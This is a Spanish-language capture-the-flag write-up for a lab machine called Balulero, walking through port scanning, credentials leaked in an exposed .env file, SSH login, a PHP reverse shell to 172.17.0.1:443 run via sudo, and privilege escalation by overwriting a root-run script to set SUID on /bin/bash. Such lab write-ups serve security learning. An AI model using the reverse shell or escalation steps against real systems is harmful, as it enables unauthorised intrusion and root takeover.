> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-faciles/balulero-write-up.md).

# Balulero write-up

## **Verificamos la conexión con la máquina víctima**

<figure><img src="/files/QlSWJ2QnWLoA9ugOZoDD" alt=""><figcaption></figcaption></figure>

## **Realizamos un escaneo de puertos abiertos de la máquina víctima**

Utilizamos **nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -O -Pn -n 172.17.0.2
```

<figure><img src="/files/S10jwVP35v4prsk9GsGd" alt=""><figcaption></figcaption></figure>

El escaneo nos indica que el puerto 22 (SSH) y 80 (HTTP) están abiertos. Así que introducimos la IP de la máquina víctima en el navegador y nos encontramos con lo siguiente:

<figure><img src="/files/auNNLyfsZ6HUBgka7vya" alt=""><figcaption></figcaption></figure>

Aparentemente no hay nada interesante pero si presionamos `Ctrl + shift + c` y nos vamos al apartado de consola nos encontramos con el siguiente log:

<figure><img src="/files/U4CNUgqkWq7ty3yzUro3" alt=""><figcaption></figcaption></figure>

Ingresamos a la ruta `http://172.17.0.2/.env_de_baluchingon` y encontramos lo siguiente:

<figure><img src="/files/Wgjccdlyc3pUUsuDFuQH" alt=""><figcaption></figcaption></figure>

Así que vamos a usar el usuario `balu` y la contraseña `balubalulerobalulei` para iniciar sesión en el servicio SSH.

<figure><img src="/files/mRyedhdEiYP30cS6QXRh" alt=""><figcaption></figcaption></figure>

## **Escalada de privilegios**

Una vez dentro de la máquina víctima ejecutamos el comando `sudo -l` y nos indica que podemos ejecutar el binario `/usr/bin/php` como el usuario chocolate sin necesidad de contraseña. Por lo que creamos un archivo PHP con el siguiente contenido:

```php
<?php
$sock = fsockopen("172.17.0.1", 443); if ($sock) { shell_exec("/bin/bash <&3 >&3 2>&3"); } 
?>
```

Ahora, nos ponemos en escucha con netcat y ejecutamos el archivo como el usuario `chocolate` con el siguiente comando:

```bash
sudo -u chocolate /usr/bin/php archivo.php
```

<figure><img src="/files/5UDYLyrPVhWcIHY0Rh4V" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ntW6SDnB3vUG69kUZWyW" alt=""><figcaption></figcaption></figure>

Una vez somos el usuario `chocolate` ejecutamos el comando `ps aux` para ver los procesos que se están ejecutando.

<figure><img src="/files/4x1Q8jJyMZNVpPVEdxht" alt=""><figcaption></figcaption></figure>

La salida del comando aparece cortada. Para solucionarlo, ajustamos el número de filas y columnas de `stty` hasta que se vea correctamente. En mi caso, al establecer los valores en 50 y 300, funcionó correctamente:

```bash
stty rows 50 columns 202
```

<figure><img src="/files/yiRjXmosY8was3f6bXHS" alt=""><figcaption></figcaption></figure>

Y vemos que se esta ejecutando como root el fichero `/opt/script.php` cada 5 segundos. Por tanto, solo necesitamos modificar el fichero e introducir lo siguiente para otorgar permisos SUID al binario `/bin/bash`:

```php
<?php
shell_exec("chmod u+s /bin/bash");
?>
```

<figure><img src="/files/VWHSc7yMCQUCDBrDmx3t" alt=""><figcaption></figcaption></figure>

Finalmente, ejecutamos el comando `bash -p` para obtener una shell con privilegios elevados.

<figure><img src="/files/ldcus9gXgCWdchIWClCZ" alt=""><figcaption></figcaption></figure>
